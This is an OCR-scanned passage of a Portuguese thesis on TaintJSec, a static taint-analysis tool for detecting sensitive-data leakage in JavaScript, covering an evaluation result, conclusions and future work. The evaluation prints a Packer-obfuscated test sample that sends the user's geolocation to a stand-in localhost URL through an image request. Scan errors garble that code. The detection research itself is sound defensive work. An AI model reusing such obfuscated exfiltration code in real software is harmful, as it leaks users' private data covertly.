{return*\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g"), k[c]);return
pr('7("4 = 8(){ 9 5; /*"+6()+"*/ }");2=(4+"")["3"]("/*")[1]1["3"]("*/")[@];(a b())
["c"]="d://e/T.q?

h="+2;',18,18, "' | |pos|split|Leakage|10|getGeoLocation|eval | function|return|new|Image|src|http|loca
lhost|getDados |php|dados® .split('|'),0,{})) “

compression ratio: 495/201=2.463

Figura 5.11. Cédigo gerado pelo Packer.

Resultado da propagacao do taint tag no Packer

Registradores Locais:
temp_0_5953198160603002 = Variavel {
valor:

[ |
|| Nome: raiz
| |
[ |

tainted: 0}
| | temp_0_6198358132507966 = Variavel {
valor: ,
tainted: 1}
| | temp_0_451124834576798 = Variavel { valor:
tainted: 1}

Nome: Variaveis Globais
Registradores Globais:
temp_0_367289211359239
valor:
{ estrutura:
{ range: [Object],
type: '
id: null,
params: [Object],
defaults: [],

Variavel {
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25 body: [Object],

26 generator: false,

27 expression: false } },

28 tainted: 0}

29 || Leakage = Variavel {

30 valor:

31 { estrutura:

32 { range: [Object],

33 type: 'FunctionExpression',

34 id: [Object],

35 params: [1],

36 defaults: [],

37 body: [Object],

38 generator: false,

39 expression: false,

40 tainted_eval: 1 } },

41 tainted: 1}

42 || pos = Variavel { valor: '[-3.0880814,-59.9659753]", tainted: 1}

43 || temp_0_7206422871497422 = Variavel { valor: HTMLImageElement {}, tainted:
1}

44 oo

E possivel observar nas linhas 42 e 43 do resultado de propagacio do cédigo ofuscado
pelo Packer que o taint tag propagou normalmente para os demais objetos. Na linha 42 é
possivel observar o registrador da variavel pos marcado com taint tag positivo. O mesmo

ocorre na linha 43 com o objeto HTMLImageFElement.

File Edit View Search Terminal Help

identificador: 'temp 8 82349229032686',
valor previo: HTMLImageElement {},
posicao: [ 'src' 1,

property tainted positions: [ 8 ],
valor: '°,

varobj: [1,

tainted: 9,

tipo valor previo: 'NewExpression' }
Vazamento Detectado! Atributo SRC de um HTMLImageElement = http://local§
host/getDados.php?dados=[-3.0880814,-59.9659753]

Figura 5.12. Deteccao do vazamento de informacao no cédigo gerado pelo Packer.

Logo, a propagacao da tag ocorreu mesmo com o coédigo ofuscado e foi possivel

detectar o vazamento de informacao, conforme apresenta a Figura 5.12.



Capitulo 6

Conclusao

Este capitulo apresenta as conclusoes deste trabalho de pesquisa, as limitagoes e as
contribui¢oes para a comunidade cientifica. Além de possiveis trabalhos futuros, que

visam sanar limitagoes da analise.

6.1 Consideracoes Finais

Este trabalho apresentou o TaintJSec, uma abordagem de anélise estatica, para a deteccao
de vazamento de informagao sensivel em coédigo JavaScript. Diferente das abordagens
existentes, o TaintJSec é capaz de verificar cédigo JavaScript explicitos e implicitos. Mais
ainda, o TaintJSec consegue analisar a propagacao de um dado sensivel (taint data) na
execucao da funcao eval, a qual é bastante utilizada em técnicas de ofuscagao de codigo.
Além de conseguir identificar o vazamento de informagao sensivel em cédigos ofuscados
por ferramentas criadas especificamente para tal finalidade.

A avaliagao do Taint.JSec utilizando 14 conjuntos de testes mostraram que a acuracia
da abordagem proposta é superior as ferramentas JPrime, ScanJS, JSpwn, KSLint,
Jalangi e jsTaint.

Entretanto, apesar da abordagem 7TaintJSec ter obtido bons resultados, had muitas

questoes a serem melhoradas, como por exemplo:

e nao verifica todos os caminhos possives do fluxo de execucao. De tal modo que
uma operacao condicionante [fStatement checa somente o escopo verdadeiro se a

condicao for verdadeira, ou checa o escopo falso se a condigao for falsa;

e nao analisa o comportamento dos Event Listeners. Logo, fungoes executadas por

meio de eventos sao ignoradas;

e nao tem suporte a callbacks como o objeto new Prozy;

118
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e nao tem suporte a fungao geradora;
« nao tem suporte ao modo estrito (diretiva "use strict”).

e nao tem suporte a codigos JavaScript com comportamento assincrono.

6.2 Licoes Aprendidas

Durante a implementacao do TaintJSec surgiram alguns problemas, os quais foram
sanados apods nova fase de planejamento e pequisa. KEsses problemas apresentavam-se
como limitagoes da plataforma Node.js, limitagoes nos médulos escolhidos para as fases da
abordagem ou alguma caracteristica da linguagem JavaScript que nao havia sido prevista.

Nesta se¢ao sao descritos os problemas enfrentados durante este trabalho de pesquisa

e as medidas utilizadas para contorna-los.

Limitacoes do Node.js

O microprocessador possui grande parte das fun¢oes nativas do JavaScript e, por
isso dispensa o trabalho de criacdo das mesmas. Porém, nao fornece suporte as fungoes e
métodos nativos presentes nos navegadores.

No mundo real, a possibilidade de encontrar um codigo JavaScript que nao utilize
alguma func¢ao ou método que sé existem nos navegadores é muito baixa. Sao exemplo
de objetos que o Node.js nao oferece suporte sdo Audio e Video.

Para contornar essas limitagoes foram utilizados os objetos document e window
fornecidos pelo médulo jsDom. Desse modo, foi possivel identificar a existéncia de métodos
exclusivos do HTML e nao da linguagem JavaScript. Para o objeto Audio foi utilizado o
objeto window. Audio.

Contudo, os objetos que nao eram fornecidos ou emulados pelos médulos do Node.js
ainda causavam problemas durante a andalise, como o objeto navigator.userAgent, que
nao é fornecido pela versao mais recente do Node.js e nem pelo modulo jsDom. Para
resolver esse problema, tais objetos podem ser emulados por meio da criacao de um

objeto navigator com o atributo userAgent e um valor literal fixo.

Cheerio x jsDom

Cheerio! ¢ um moédulo do Node.js, que fornece um subconjunto de operacoes da
biblioteca jQuery possibilitando o acesso ao DOM de c6édigos HTTML mesmo em server-
side.

Foi desenvolvido como uma alternativa ao médulo jsDom e, segundo seus criadores,

¢é até oito vezes mais rapido que o jsDom. Porém, objetos criados dinamicamente a partir

! https://github.com/cheeriojs/cheerio


https://github.com/cheeriojs/cheerio
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de operacoes como document.createElement nao sdao adicionados ao DOM gerado pelo
Cheerio e, devido a isso, ocorreram erros durante a andlise de codigo. Essa limitacao
tornou inviavel a utilizacao desse modulo durante a implementacao do TaintJSec. Em

substituicao, foi utilizado o jsDom.

Contexto de Escopo em JavaScript

A linguagem JavaScript executa um contexto de escopo em dois tempos. No
primeiro momento sao verificadas todas as possiveis declaragoes de variaveis e fungoes.
Para cada operacao de declaracao de variavel é atribuido o valor undefined a variavel, e
toda declaragao de func¢ao criada pelo usuario é interpretada, mas nao executada.

A Figura 6.1 apresenta um exemplo de codigo JavaScript e os dois momentos da
leitura do cédigo. No primeiro momento, é interpretada somente a operacao de declaracao
de variavel na linha 3, mas sem a atribuicdo. O valor adicionado para a variavel b é
undefined.

No segundo momento, as demais operagoes sao interpretadas. Entao, a operacao de
atribuicao é executada e o valor de b é atribuido a variavel a.

Um programador desatento poderia imaginar que o codigo apresentaria erro devido
a atribuicao da linha 1, onde a variavel b nao existe. Contudo, a linha 1 s6 é executada no
segundo momento da interpretacao das operacoes do escopo, quando a variavel b passaria

a existir apés o primeiro momento da interpretagao das operagoes.

Os momentos da execucdo de um escopo

Caddigo JavaScript 1° Momento 2° Momento

1 ‘<script>

2 ‘ a =b; linha 2 é ignorada a = undefined; (valor de b)
3 ‘ var b = 2; var b = undefined,; varb = 2;

4 ‘</script>

Figura 6.1. Exemplo de cédigo JavaScript e os dois momentos de execugao do
€scopo.

Para implementar essa caracteristica da linguagem JavaScript, o framework SAFE
realiza uma tarefa de organizagao da estrutura do cédigo de entrada, colocando as
operacao de declaracao de funcao e declaracao de variavel antes de qualquer outra
operagao do codigo. Somente quando o codigo esta reestruturado é que o analisador
do SAFE é executado. A Figura 6.2 apresenta um exemplo de como o SAFE reescreve o
cédigo JavaScript, movendo todas as operagodes de declaragao de funcao para o inicio do
cddigo, e abaixo delas insere as operagoes de declaracao de variavel sem a atribuicdo de

valores.
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Cadigo Original Caddigo Reestruturado

X; 1 function f() { return 42; }
var x = £(); 2  var x;
3 function f() { return 42; } 3 x;
4 x =1Q);

b =

Figura 6.2. Exemplo de um cédigo JavaScript e a sua versao reestruturada pelo
SAFE.

A coluna Codigo Original da Figura 6.2 apresenta na linha 2 e linha 3 operagoes
de declaracao de varidavel e fungdo, respectivamente. Essas operagoes sao movidas para
o inicio do cédigo JavaScript formando um coédigo reestruturado. Primeiro a declaracao
de funcao ¢é inserida na linha 1 do Codigo Reestruturado e logo em seguida, na linha 2 é
inserida a operacao de declaracao de variavel, sem o valor de atribuicao. Com o cédigo
reestruturado, o SAFE pode analisar o fluxo de execugdo do cédigo original da mesma
maneira como um interpretador de JavaScript do mundo real o faria.

O TaintJSec utiliza uma abordagem diferente do SAFE para implementar essa
execucao de escopo em dois momentos. Em vez de reestruturar o codigo original, o
TaintJSec analisa a AST duas vezes. Na primeira analise da AST, somente as declaragoes
de funcao e varidavel sao inseridas nos registradores. Os registradores armazenam as
variaveis declaradas e atribuem o valor undefined a elas. Todas as demais operacoes
da AST nao sdo inseridas nos registradores, mas sao analisadas para que novas operagoes
de declaracao de variavel possam ser encontrada dentro do escopo de operagoes como IF),
Try-Catch e lagos de repetigao.

Quando a primeira analise da AST chega ao fim, os registradores de objetos contém
todas as funcoes declaradas no escopo e todas as variaveis declaradas estdao com o valor
undefined. Entao é iniciada a segunda andlise da AST, contabilizando e inserindo os
valores obtidos nas demais operacoes.

Assim, a caracteristica da linguagem JavaScript de executar o contexto duas vezes

¢é respeitada e todas as computagoes ocorrem corretamente.

6.3 Trabalhos Futuros

Neste trabalho foram identificadas as seguintes possibilidades de trabalhos futuros:

1. A inclus@o completa do DOM na analise realizada, podendo reconhecer métodos
proprios dos navegadores, os quais nao existem por padrao no Node.js e nem em

modulos adicionais, tais como navigator.userAgent;
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2. Estender a taint propagation pelos objetos do HTML para permitir a marcacao
de tags HTML que possuam dados sensiveis no valor de pelo menos um de seus

atributos ou em seu contetudo innerHTML;

3. A criagdo de um controle de taint tags para os objetos do tipo array, pois atualmente
existe somente um taint tag para o objeto inteiro, de tal maneira que esse controle
poderia observar a propagacao do taint tag por posicao do objeto, diminuindo o

numero de falsos positivos.
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